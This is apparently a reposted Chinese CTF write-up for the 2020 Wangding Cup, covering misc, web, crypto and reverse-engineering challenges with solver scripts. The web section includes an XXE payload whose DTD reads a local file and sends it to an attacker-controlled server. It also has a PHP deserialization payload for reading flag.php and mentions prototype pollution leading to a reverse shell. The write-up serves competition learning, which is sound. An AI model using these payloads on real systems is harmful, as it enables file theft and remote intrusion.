欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2020网鼎杯wp

程序员文章站 2022-03-10 09:16:00
...

MISC

签到

  • 点进去是选战队图标
  • 全部通过后会让输入token

2020网鼎杯wp

  • 然后能在console看到flag

2020网鼎杯wp

WEB

filejava

  • 打开题目,查看基本的功能后发现有一个文件下载功能,尝试穿越目录发现web.xml

  • 再次寻找这几个servlet的字节码在classes/cn/abc/servlet/xxx.class

2020网鼎杯wp

  • 将class反编译之后发现具有xxe漏洞

2020网鼎杯wp

  • xlsx文件以压缩包方式打开,更改各个文件夹中的xml文件,然后再本地vps监听端口
<!DOCTYPE data SYSTEM "http://***.***.***.***/no_show_poc.dtd">
<data>&send;</data>
no_show_poc.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://***.***.***.***:9999?p=%file;'>">
%all;
  • 最后如图

2020网鼎杯wp

AreUSerialz

  • 打开题目后,直接给出了源码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 显而易见的是一个反序列化的题目
  • FileHandler类中有写文件参数和读文件参数,然后已知已经存在了flag.php
  • op为1时是写文件,op为2时是读文件
  • 但是在__destruct中,对op进行了过滤
  • 可以根据=====强弱进行绕过
  • 设置op是int的2
  • 然后读取flag.php(绝对路径,cmdline+读取/web/config/httpd.conf得知
  • 但是is_valid()函数会过滤%00,而类中的属性是protected,但是在php7.1+中,对属性类型不敏感,所以可以使用public绕过
  • 构造payload
<?php
class FileHandler{
    public $op;
    public $filename;
    public $content;
    public function __construct()
    {
        $this->op=2;
        $this->filename='/web/html/flag.php';
        $this->content='tmp';


    }
}
echo serialize(new FileHandler());
  • payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:3:"tmp";}
  • 读取到flag

notes

2020网鼎杯wp

  • 用到了undefsage模块,

    2020网鼎杯wp

  • id,author,raw是我们控制的,符合原型链污染的方法,进而利用。

    2020网鼎杯wp

  • 最后有bash的命令执行,可以反弹shell,

    2020网鼎杯wp

    2020网鼎杯wp

    2020网鼎杯wp

  • 最后查看/flag,得到flag

{9b093016-4f86-41d3-a203-154094bba637}

CRYPTO

boom

第一步求MD5值46e5efe6165a5afb361217446a2dbd01

MD5求解后是en5oy

2020网鼎杯wp

第二步

2020网鼎杯wp

第三步

2020网鼎杯wp

到这里就可以求出所有解了,但是flag闪的太快,没办法只能把程序逆一下了

2020网鼎杯wp

打开字符串窗口可以看到flag的输出格式,判断为之前的输入值,所以flag为

flag{en5oy_746831_89127561}


you raise me up

打开题发现是个python脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
# n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096

sagemath秒了,2512以bsgs的复杂度就是2256

n = 2 ** 512

m= 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c=6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
ZmodN = Zmod(2^512)

m=ZmodN(m)
c=ZmodN(c)

c.log(m)

hex(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)

2020网鼎杯wp

求出flag的hex

0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d

转为str

flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}

RE

signal

IDA打开程序,进入主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-1D4h]

  __main();
  qmemcpy(&v4, &unk_403040, 0x1C8u); //将unk_403040放入v4中
  vm_operad(&v4, 114);       //主要操作
  puts("good,The answer format is:flag {}");
  return 0;
}

跟进vm_operad()函数;发现函数对数组进行了一串复杂操作,0x403040是存放指令和数据的地址,每四个字节是一组。对照vm_operad函数人工分析,操作顺序。得出逻辑是讲输入处理后与0x403040最后的一些数据作比较。

int __cdecl vm_operad(int *a1, int a2)
{
  int result; // eax
  char Str[100]; // [esp+13h] [ebp-E5h]
  char v4[100]; // [esp+77h] [ebp-81h]
  char v5; // [esp+DBh] [ebp-1Dh]
  int v6; // [esp+DCh] [ebp-1Ch]
  int v7; // [esp+E0h] [ebp-18h]
  int v8; // [esp+E4h] [ebp-14h]
  int v9; // [esp+E8h] [ebp-10h]
  int v10; // [esp+ECh] [ebp-Ch]

  v10 = 0;
  v9 = 0;
  v8 = 0;
  v7 = 0;
  v6 = 0;
  while ( 1 )          //处理过程
  {
    result = v10;
    if ( v10 >= a2 )
      return result;
    switch ( a1[v10] )
    {
      case 1:
        v4[v7] = v5;
        ++v10;
        ++v7;
        ++v9;
        break;
      case 2:
        v5 = a1[v10 + 1] + Str[v9];
        v10 += 2;
        break;
      case 3:
        v5 = Str[v9] - LOBYTE(a1[v10 + 1]);
        v10 += 2;
        break;
      case 4:
        v5 = a1[v10 + 1] ^ Str[v9];
        v10 += 2;
        break;
      case 5:
        v5 = a1[v10 + 1] * Str[v9];
        v10 += 2;
        break;
      case 6:
        ++v10;
        break;
      case 7:
        if ( v4[v8] != a1[v10 + 1] )
        {
          printf("what a shame...");
          exit(0);
        }
        ++v8;
        v10 += 2;
        break;
      case 8:
        Str[v6] = v5;
        ++v10;
        ++v6;
        break;
      case 10:
        read(Str);
        ++v10;
        break;
      case 11:
        v5 = Str[v9] - 1;
        ++v10;
        break;
      case 12:
        v5 = Str[v9] + 1;
        ++v10;
        break;
      default:
        continue;
    }
  }
}

我们只需要把处理过程再现就可以了

code = [34,63,52,50,114,51,24,0xa7,49,0xf1,40,0x84,0xc1,30,122]
flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag[0] = (code[0]+5) ^ 16
flag[1] = (code[1]//3) ^ 32
flag[2] = code[2] +1+2
flag[3] = (code[3]^ 4) -1
flag[4] = (code[4]+33) //3
flag[5] = code[5]+1+1
flag[6] = (code[6]+32) ^ 9
flag[7] = (code[7] ^36) - 81
flag[8] = code[8]+1 -1
flag[9] = (code[9]-37) // 2
flag[10] = (code[10] ^ 65) -54
flag[11] = code[11] -32
flag[12] = (code[12] -37) //3
flag[13] = (code[13] +32) ^ 9
flag[14] = code[14] - 1 -65

for i in flag:
    print(i)
print("flag{",end='')    
for i in flag:
    print(chr(i),end='')
print("}")
#flag{757515121f3d478}

jocker

IDA打开题目,发现堆栈不平衡,修复之后还是无法反编译,估计有些混淆的垃圾代码

2020网鼎杯wp

但是一部分可以反编译

int __cdecl omg(char *a1)
{
  int result; // eax
  int v2[24]; // [esp+18h] [ebp-80h]
  int i; // [esp+78h] [ebp-20h]
  int v4; // [esp+7Ch] [ebp-1Ch]

  v4 = 1;
  qmemcpy(v2, &unk_4030C0, sizeof(v2));
  for ( i = 0; i <= 23; ++i )
  {
    if ( a1[i] != v2[i] )
      v4 = 0;
  }
  if ( v4 == 1 )
    result = puts("hahahaha_do_you_find_me?");
  else
    result = puts("wrong ~~ But seems a little program");
  return result;
}

char *__cdecl wrong(char *a1)
{
  char *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 23; ++i )
  {
    if ( i & 1 )
    {
      result = &a1[i];
      a1[i] -= i;
    }
    else
    {
      result = &a1[i];
      a1[i] ^= i;
    }
  }
  return result;
}

对jocker进行动态调试

2020网鼎杯wp

可以解出后5位之前的flag

v3 = [
    14, 13, 9, 6, 19, 
    5, 88, 86, 62, 6,
    12, 60, 31, 87, 20,
    107, 87, 89, 13
]

str1 = "hahahaha_do_you_find_me?"
key1 = ""
for i in range(19):
    key1 += chr(v3[i] ^ ord(str1[i]))
print(key1)
#flag{d07abccf8a410c

2020网鼎杯wp

58与 } 异或的结果是71
猜测剩下的5位数可能都是异或71
遂得到flag

flag{d07abccf8a410cb37a}

bang

apk逆向,使用dex2脱壳可以得到两个dex文件,反编译后可以得到用户名密码和flag

2020网鼎杯wp

输入账号密码app也会有flag

2020网鼎杯wp

相关标签: CTF